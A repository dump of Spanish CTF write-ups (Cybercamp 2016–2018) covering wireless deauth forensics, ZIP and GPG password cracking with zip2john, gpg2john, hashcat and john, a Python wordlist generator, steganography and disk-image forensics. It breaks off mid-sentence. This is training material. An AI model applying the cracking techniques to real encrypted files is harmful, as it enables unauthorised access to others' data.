https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/retos1.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/retos2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/retos2.png -------------------------------------------------------------------------------- /cybercamp-final-2017/img/retos3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2017/img/retos3.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/01-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/01-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/02-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/02-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/04-apimonitor-user.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/04-apimonitor-user.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/05-x64dbg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/05-x64dbg.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/06-elevate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/06-elevate.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/06-file-exfilt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/06-file-exfilt.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/06-listing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/06-listing.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/06-nmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/06-nmap.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/06-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/06-shell.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/07-pass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/07-pass.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/07-script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/07-script.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/08-exif1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/08-exif1.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/08-exif2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/08-exif2.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/09-level0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/09-level0.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-blog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-blog.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-flag.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-interactive-reverse-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-interactive-reverse-shell.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-mysql-service.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-mysql-service.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-patatablog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-patatablog.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-upload-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-upload-image.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-wordpress-install.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-wordpress-install.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-wordpress-plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-wordpress-plugin.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/17-wpconfig-deleted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/17-wpconfig-deleted.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/18-nikto.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/18-nikto.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/18-nmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/18-nmap.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/email-exfilt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/email-exfilt.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/network.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/network.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/retos1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/retos1.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/retos2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/retos2.png -------------------------------------------------------------------------------- /cybercamp-final-2018/img/retos3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-final-2018/img/retos3.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/01-index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/01-index.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/02-token403.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/02-token403.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/03-phpmyadmin-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/03-phpmyadmin-login.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/04-phpmyadmin-version.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/04-phpmyadmin-version.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/05-phpmyadmin-nodisp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/05-phpmyadmin-nodisp.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/06-phpmyadmin-versiones.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/06-phpmyadmin-versiones.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/07-dirsearch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/07-dirsearch.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/08-md5-upgrade.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/08-md5-upgrade.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/09-translators.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/09-translators.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/10-solucion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/10-solucion.png -------------------------------------------------------------------------------- /cybercamp-quals-2016/web4-patataprinting/img/11-phpmyadmin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2016/web4-patataprinting/img/11-phpmyadmin.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/01-toxinas-aereas/README.md: -------------------------------------------------------------------------------- 1 | # Cybercamp Quals 2018 - 01. Toxinas aéreas (200 puntos) 2 | ### Categoría > Forense 3 | 4 | Desde hace un tiempo la red Wifi de nuestro cliente no va bien. Se quejan de que a veces no se conectan los equipos y sospechamos que existe algún atacante malicioso en la zona. Hemos enviado a nuestro auditor junior a realizar una captura en el sitio, pero no ha podido determinar lo que pasa y nos ha enviado la captura en formato pcap. ¿Podrías echarle una mano? (Respuesta: flag{dirección MAC en formato XX:XX:XX:XX:XX:XX del host atacado} – ejemplo: flag{xx:xx:xx:xx:xx:xx}) 5 | 6 | 7 | #### [Pista 1 Objetivo 1] [30 pts] 8 | Quizá sea mejor analizar los paquetes con alguna herramienta de línea de comandos. 9 | 10 | #### [Pista 2 Objetivo 1] [50 pts] 11 | Es un ataque de denegación de servicio. 12 | 13 | #### [Pista 3 Objetivo 1] [70 pts] 14 | Paquetes de autenticación. 15 | 16 | ## Solución 17 | 18 | Si analizamos detalladamente la captura de tráfico encontramos bastantes paquetes de deauth. 19 | 20 | `wlan.fc.type_subtype == 0x000c` 21 | 22 | ![](img/wireshark.png) 23 | 24 | La dirección del host atacado es la dirección de origen spoofeada en los paquetes de deauth. 25 | 26 | `flag{08:6a:0a:3b:b0:08}` -------------------------------------------------------------------------------- /cybercamp-quals-2018/01-toxinas-aereas/img/wireshark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/01-toxinas-aereas/img/wireshark.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/02-vivan-las-vegas/1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/02-vivan-las-vegas/1.bin -------------------------------------------------------------------------------- /cybercamp-quals-2018/02-vivan-las-vegas/1.hash: -------------------------------------------------------------------------------- 1 | Elvis:$gpg$*1*988*3072*8f3cbe32e7a1d077144030ba6a5b8ffc619e9c032667c65856d85907324b332c60771623e7de7ea80683171c89a6fd742fd40c08b767195647cca3b88d6291d258e995a9b4ba5aec34c24b5b29866c10d51ca2adc4a0ee15f8669a5d389b61e0314c48e1ede48e5a73efa2ea1d177f488fb41ec69242afd46b44be92c3f8cc69b99edb7d05e808998c0839adef4affe6b6a1afa26f8a408f59f31794864f52d43273c5f94f015a7c89f596b33f1d6f4b4dff42a5d21abb41212b60841060a1411dd30871b5031baddd1043a6358fb982a3917c73e44f74dd10e233e1d11eff6c5046bf10e146b5808e6e192b82daba9ef0c73b3cb72ee40fc58c13946ac4af5148874bb67037b5abac407597d6f3499895811fb44275e14e1eb71355a6c167c7c42e30f14f9ecb9b6135bceafd38c5ef2d557374fd750c9059e5ff0097bec2e33e9f89daf84a3e3215c48db46f39e771e66de7dbb980826e916d47860e0b51003378b7e1c2414a2c6bb627659be341d7f4dad20ca9111844ac74ea044f926e03905a724c170825b974540ca7decca360dedb8012142544edefd8554f5b9dbdd26f6da855f87d2b444277df2da58a760b5b4aaf7cae2b9bf1d3e18d4479c27a53cc090548ef4ed23ac1a7859f9708cdec9f00f86f1507abd95e153726ea5111dfebb561761467f40458953b7d75bde101577db364189c1a5481f1d422a6a830d9cd199cb2a86f5763ab6bfd54b3466adb6c4754a2ca58a30ffd44818669bdb1635d9a9b907eebd8e0b7b81ea7b62d3c62203babf82b1b7a67ff97f7b4228d2e8437e29d53c0d0c41f88fd7dd490bd0a0b1478eeb81cef4c50e1f532f5960c710f687048fb9cbfe6cbc90d887f2ca56c42b11637b540e5065533e10b0b95bbd4dccb7fd0f656c80f17c6adbe72cb1397b5f566243a2232c7014fd19712add1deab84e6323412d0dffcb66cdbe70fa229e2f6e8487e847789e671ff65234d63b3a0cfd6fa3acc79a718eadebb0f3d11f5dff233398717e805da419850ea070dc40d22405a990eeea644406722639896a105d834fe19aa3c3ecfa21461a3b939eb69986f20cda56342a7881308e572dfd05d44e882b259a0a2565fa8fdfcc3115727c877717dc593ebfe7605c50cd1219b47ae6d95875618ea67708122f8dcc2ae449300d86270bc6d8e6937069ec070ec8b09eb02c4cec6e73a19de58123e374e538bb9cbfb044a22be7565a321a368208b77f1f1d1c369cdecffc461dac5a37a78d39fe6c69e9bd350d6a999b0b4da084e76089c5e03dbb42369743548e6ca4031311b5365ebcaf9b458031f88b6b5240f4878c40629c79aa893ba6e7103f7b0ce653bcda4861dc24303692e134ab6358dd62e4e600717aa123c0ef462*3*254*2*7*16*21e9da9491def965a53ef71d7ea84b6f*65011712*a7ee1ca3267fa71e:::Elvis ::1.bin 2 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/02-vivan-las-vegas/2.b64: -------------------------------------------------------------------------------- 1 | hQGMAxcYmah/ykbaAQv/YF+v5ElbV8cCtYTmB5yJ4AI2v5+3OUzQaOhC1W1OWn5JqkbPxkQqbfC6 2 | 81OKFjSA9L7BWWn2qNnYlmT8Hxu+Ux4CsO1YZHZ1MNJSZHdDIpire9Tplr0fkGO/GLKuSUxq20/7 3 | gJ3AdnqABuEOZzEpXmtgUy1PCVeJjXy4RG8hGsq0/lOf6ry+zeGBMQPDldPVRoEEJIOkvbOSKMfh 4 | VoOZMe1LpRbMt1Q14TD6HTghAN+HmEzfZ/sdggFftRev1f9nC6Y6TgCIBTx0y4X/yhvZWc+HKC0s 5 | Rc5yBhWtaM66PSfnN3sZKnK4z5fWMMIlvyOUTa1JGNc37ZNqQMB9Sb5HIVrmFJ4Oq5x9OdIY/Gk9 6 | aRVguU3Z79vrPm55gulzX8Mp27DncSQLINmp/zBV8NjC09ip7l3lHcLB32ks+POild/5kGRIcvmn 7 | /Z50xcCgOK+orpkPodNOTTVRosTwdBifFPd9PN9cW1vki4WGO+5rZSM5KfC0jGo74Nf1ss1+Bwoo 8 | 0k4B1YvEv8aWpZZtdzUqIg5HH2uAHfv480KiOUdHoq7YcGV2N1Q4kcryh26tAmrVu4628qPgG0vO 9 | 9rc8/WTNYfRPB2U8c0FYdYDOATvzYaY= 10 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/02-vivan-las-vegas/2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/02-vivan-las-vegas/2.bin -------------------------------------------------------------------------------- /cybercamp-quals-2018/02-vivan-las-vegas/img/pgp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/02-vivan-las-vegas/img/pgp.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/09-monkey-island/README.md: -------------------------------------------------------------------------------- 1 | # Cybercamp Quals 2018 - 09. Monkey Island (300 puntos) 2 | ### Categoría > Criptografía 3 | 4 | 5 | Se ha incautado un equipo perteneciente al miembro de una APT, tras un profundo análisis forense no se han podido obtener evidencias que hayan sido eliminadas o cifradas, en el contenido más significativo del delincuente se ha recuperado un video que sospechan que pueda contener algún tipo de prueba delictiva. (La flag es sensible a mayus/minus) 6 | 7 | #### [Pista 1 Objetivo 9] [30 pts] 8 | La contraseña para extraer el primer mensaje tiene que ver con el videojuego Monkey Island. 9 | 10 | #### [Pista 2 Objetivo 9] [50 pts] 11 | La contraseña para extraer el primer mensaje tiene que ver con el videojuego Monkey Island. 12 | 13 | #### [Pista 3 Objetivo 9] [100 pts] 14 | El segundo mensaje se ha ocultado con el lenguaje de programación PIET https://gabriellesc.github.io/piet/ 15 | 16 | 17 | ## Solución 18 | 19 | En el archivo de video se esconde un archivo ZIP. 20 | 21 | ```bash 22 | binwalk -e MonkeyIsland.avi 23 | 24 | DECIMAL HEXADECIMAL DESCRIPTION 25 | -------------------------------------------------------------------------------- 26 | 26013116 0x18CEDBC Zip archive data, at least v2.0 to extract, compressed size: 613, uncompressed size: 811, name: bandera64.txt 27 | 26013883 0x18CF0BB End of Zip archive 28 | ``` 29 | 30 | Una vez extraido el archivo ZIP, dentro encontrarmos un archivo TXT con texto en base64. 31 | Decodificamos el base64 y obtenemos un nuevo archivo ZIP, esta vez con contraseña. 32 | 33 | [bandera64.txt](bandera64.txt) 34 | 35 | Usamos `zip2john` para extraer el hash. Para poder utilizarlo con hashcat eliminamos el principio y el final para que quede con el formato `$zip2$...$/zip2$`. 36 | 37 | ```bash 38 | zip2john bandera.zip 39 | bandera.zip:$zip2$*0*3*0*f2aef0aeb173b18987f5662af6be7fc2*6a0f*178*b3dedd7f79b6d7a7a7e2f05552a24ebb35378e742082bb7232ac218c2a6015a24b0702947d92e75be1f8bebfc6720224574862ea83fac076f368f482e526a176dd23053774cb6461e52cfed3a6ef27784f11cc7c4436c0cfa2eb847f8ae871f71bef8793d58e7c8f88a9e328f4d07fdb47d577e529ecd0f251c30053de11665232544168ec1558bcb0922a29c84612b891b325c842a11b62317ddf99f257f1b0f74a8cc114838f3238deff7fd79fab5576669a015a40b7cfa25eed395705e69a0f146fb8ac8b62890658e218c4d0fa49c59dd5b780212b577a64d4e7cd386580234f65e505dee88f94289679a7d6e92e2d1f05b4c724215c16ee72fc8247afd56be6bce2eafa4f53ba7466d349c98a0a114075f03b2638db7173ec6eaa5a09b73851510e591d15ae9a77cc93d0b0d6d613fca1dae205a1fc63951cb100922cec911a1b01f6a76743984df998b6397feb451a2ffb05903607e3eb8db7d30a2cb88b4785a89a84ead908b8a3e132ccb0ced1dae06578ec7756*8df6cdc4624358f9483a*$/zip2$:::::bandera.zip 40 | ``` 41 | 42 | Utilizamos `hashcat` con un diccionario y obtenemos la contraseña `grog` en menos de 15 segundos. 43 | 44 | ```bash 45 | hashcat -m 13600 09-MonkeyIsland.txt wordlists/[CENSORED].txt 46 | ``` 47 | 48 | De dentro del ZIP obtenemos una imagen PNG con pixeles de colores. 49 | 50 | [bandera.png](bandera.png) 51 | 52 | ![](img/piet.png) 53 | 54 | Después de un rato de investigación, descubrimos que la imagen se corresponde a un programa hecho en el lenguaje PIET. 55 | 56 | Utilizamos la web https://www.bertnase.de/npiet/npiet-execute.php para ejecutarlo y obtenemos la flag. 57 | 58 | ![](img/piet-execute.png) 59 | 60 | Flag: `THESevenSamurai` -------------------------------------------------------------------------------- /cybercamp-quals-2018/09-monkey-island/bandera.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/09-monkey-island/bandera.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/09-monkey-island/bandera64.txt: -------------------------------------------------------------------------------- 1 | UEsDBAoACQBjALpE5UyE1fPolAEAAHgBAAALAAsAYmFuZGVyYS5wbmcBmQcAAQBBRQMAAPKu8K6x 2 | c7GJh/VmKva+f8JqD7Pe3X95ttenp+LwVVKiTrs1N450IIK7cjKsIYwqYBWiSwcClH2S51vh+L6/ 3 | xnICJFdIYuqD+sB282j0guUmoXbdIwU3dMtkYeUs/tOm7yd4TxHMfEQ2wM+i64R/iuhx9xvvh5PV 4 | jnyPiKnjKPTQf9tH1XflKezQ8lHDAFPeEWZSMlRBaOwVWLywkiopyEYSuJGzJchCoRtiMX3fmfJX 5 | 8bD3SozBFIOPMjje/3/Xn6tVdmaaAVpAt8+iXu05VwXmmg8Ub7isi2KJBljiGMTQ+knFndW3gCEr 6 | V3pk1OfNOGWAI09l5QXe6I+UKJZ5p9bpLi0fBbTHJCFcFu5y/IJHr9Vr5rzi6vpPU7p0ZtNJyYoK 7 | EUB18DsmONtxc+xuqloJtzhRUQ5ZHRWumnfMk9Cw1tYT/KHa4gWh/GOVHLEAkizskRobAfanZ0OY 8 | TfmYtjl/60UaL/sFkDYH4+uNt9MKLLiLR4WomoTq2Qi4o+EyzLDO0drgZXjsd1aN9s3EYkNY+Ug6 9 | UEsHCITV8+iUAQAAeAEAAFBLAQIfAAoACQBjALpE5UyE1fPolAEAAHgBAAALAC8AAAAAAAAAIAAA 10 | AAAAAABiYW5kZXJhLnBuZwoAIAAAAAAAAQAYAABwYYR+FNQBD0sSrJY51AHbTw9ChznUAQGZBwAB 11 | AEFFAwAAUEsFBgAAAAABAAEAaAAAANgBAAAAAA== 12 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/09-monkey-island/img/piet-execute.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/09-monkey-island/img/piet-execute.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/09-monkey-island/img/piet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/09-monkey-island/img/piet.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/11-la-orden-del-temple/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/11-la-orden-del-temple/11.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/11-la-orden-del-temple/README.md: -------------------------------------------------------------------------------- 1 | # Cybercamp Quals 2018 - 11. La orden del Temple (300 puntos) 2 | ### Categoría > Criptografía 3 | 4 | 5 | Se incauta a un sospechoso de terrorismo su equipo, dentro de éste se encuentran ficheros que se podrían considerar de vital importancia para continuar con la investigación, pero muchos de esos ficheros están cifrados y se sabe que mediante PGP simétrico. 6 | 7 | Gracias a la investigación del sospechoso tus compañeros te han dado las siguientes pautas que sigue el sospechoso a la hora de crear sus contraseñas: 8 | 9 | Son de longitud de 6 a 7 caracteres. 10 | Sólo contienen letras minúsculas 11 | Sólo se utilizan estas letras: eghotu 12 | No se repite ninguna de las letras de la contraseña 13 | Algunas de ellas contienen dos números entre estos: 0134 14 | Tu trabajo será intentar descifrar el fichero gracias a la investigación realizada sobre el sospechoso y a los datos proporcionados para determinar si el contenido es de vital importancia para la investigación en curso. 15 | 16 | #### [Pista 1 Objetivo 11] [15 pts] 17 | Es importante respetar las pistas para la correcta elaboración del diccionario. 18 | 19 | #### [Pista 2 Objetivo 11] [65 pts] 20 | Existe una herramienta específica para fuerza bruta sobre PGP. 21 | 22 | #### [Pista 3 Objetivo 11] [105 pts] 23 | A los templarios les gustaban mucho los mensajes ocultos con simbología. 24 | 25 | 26 | ## Solución 27 | 28 | El reto consiste en conseguir la contraseña del archivo `medium_11.gpg`. 29 | 30 | ```bash 31 | file medium_11.gpg 32 | medium_11.gpg: GPG symmetrically encrypted data (AES cipher) 33 | ``` 34 | 35 | Convertimos el archivo a un archivo de hash con `gpg2john`. 36 | 37 | ```bash 38 | gpg2john medium_11.gpg > 11-hash.txt 39 | ``` 40 | 41 | Utilizamos python para generar un diccionario, en principio había usado un script que cumplia exactamente los requisitos del reto, pero resulta que estas pistas son erroneas. 42 | 43 | ```python 44 | import itertools 45 | 46 | let = "eghotu" 47 | num = "0134" 48 | 49 | p = itertools.permutations(let+num, 6) 50 | #p = itertools.permutations(let+num, 7) 51 | for x in p: 52 | word = ''.join(x) 53 | print(word) 54 | ``` 55 | 56 | Lanzamos `john` con el diccionario generado y obtenemos la contraseña `eg1u03`. 57 | 58 | Desciframos el archivo y obtenemos una imagen PNG. 59 | 60 | ```bash 61 | gpg -d medium_11.gpg > 11.png 62 | ``` 63 | 64 | [11.png](11.png) 65 | 66 | ![](11.png) 67 | 68 | En la imagen aparecen simbolos del cifrado de los templarios, podemos decodificarlo con la web https://www.dcode.fr/templars-cipher 69 | 70 | La flag es el resultado en minusculas: `eresmuygoloso` 71 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/12-seguridad-nacional/README.md: -------------------------------------------------------------------------------- 1 | # Cybercamp Quals 2018 - 12. Seguridad Nacional (500 puntos) 2 | ### Categoría > Forense 3 | 4 | 5 | Se te proporciona un fichero de tráfico de red el cual contiene comunicaciones entre dos sospechosos de terrorismo. Tu objetivo, ver qué información están intercambiando y obtener la FLAG. 6 | 7 | #### [Pista 1 Objetivo 12] [50 pts] 8 | Los sospechosos se han transmitido un fichero relevante. 9 | 10 | #### [Pista 2 Objetivo 12] [90 pts] 11 | Han eliminado los datos relevantes. 12 | 13 | #### [Pista 3 Objetivo 12] [150 pts] 14 | La Madre de Fernando Torres puede ser de ayuda para recuperarlos. 15 | 16 | 17 | ## Solución 18 | 19 | El primer paso es crackear el archivo ZIP y obtener su contenido. Omitimos este paso al haberse realizado ya varias veces durante este mismo CTF. 20 | 21 | Pass: `cyberhacker` 22 | 23 | Obtenemos una imagen de disco `diskimage` con una particion *NTFS*. 24 | 25 | ```bash 26 | file diskimage 27 | diskimage: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0xa54645b7; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0x3b,0,48), startsector 128, 59392 sectors 28 | ``` 29 | 30 | ```bash 31 | fdisk -l diskimage 32 | Disk diskimage: 32 MiB, 33554432 bytes, 65536 sectors 33 | Units: sectors of 1 * 512 = 512 bytes 34 | Sector size (logical/physical): 512 bytes / 512 bytes 35 | I/O size (minimum/optimal): 512 bytes / 512 bytes 36 | Disklabel type: dos 37 | Disk identifier: 0xa54645b7 38 | 39 | Device Boot Start End Sectors Size Id Type 40 | diskimage1 128 59519 59392 29M 7 HPFS/NTFS/exFAT 41 | ``` 42 | 43 | ```bash 44 | mount -t ntfs-3g -o offset=65536,ro diskimage /mnt/a/ 45 | ``` 46 | 47 | Dentro de la partición no encontramos ningún archivo interesante. 48 | 49 | Usamos la herramienta 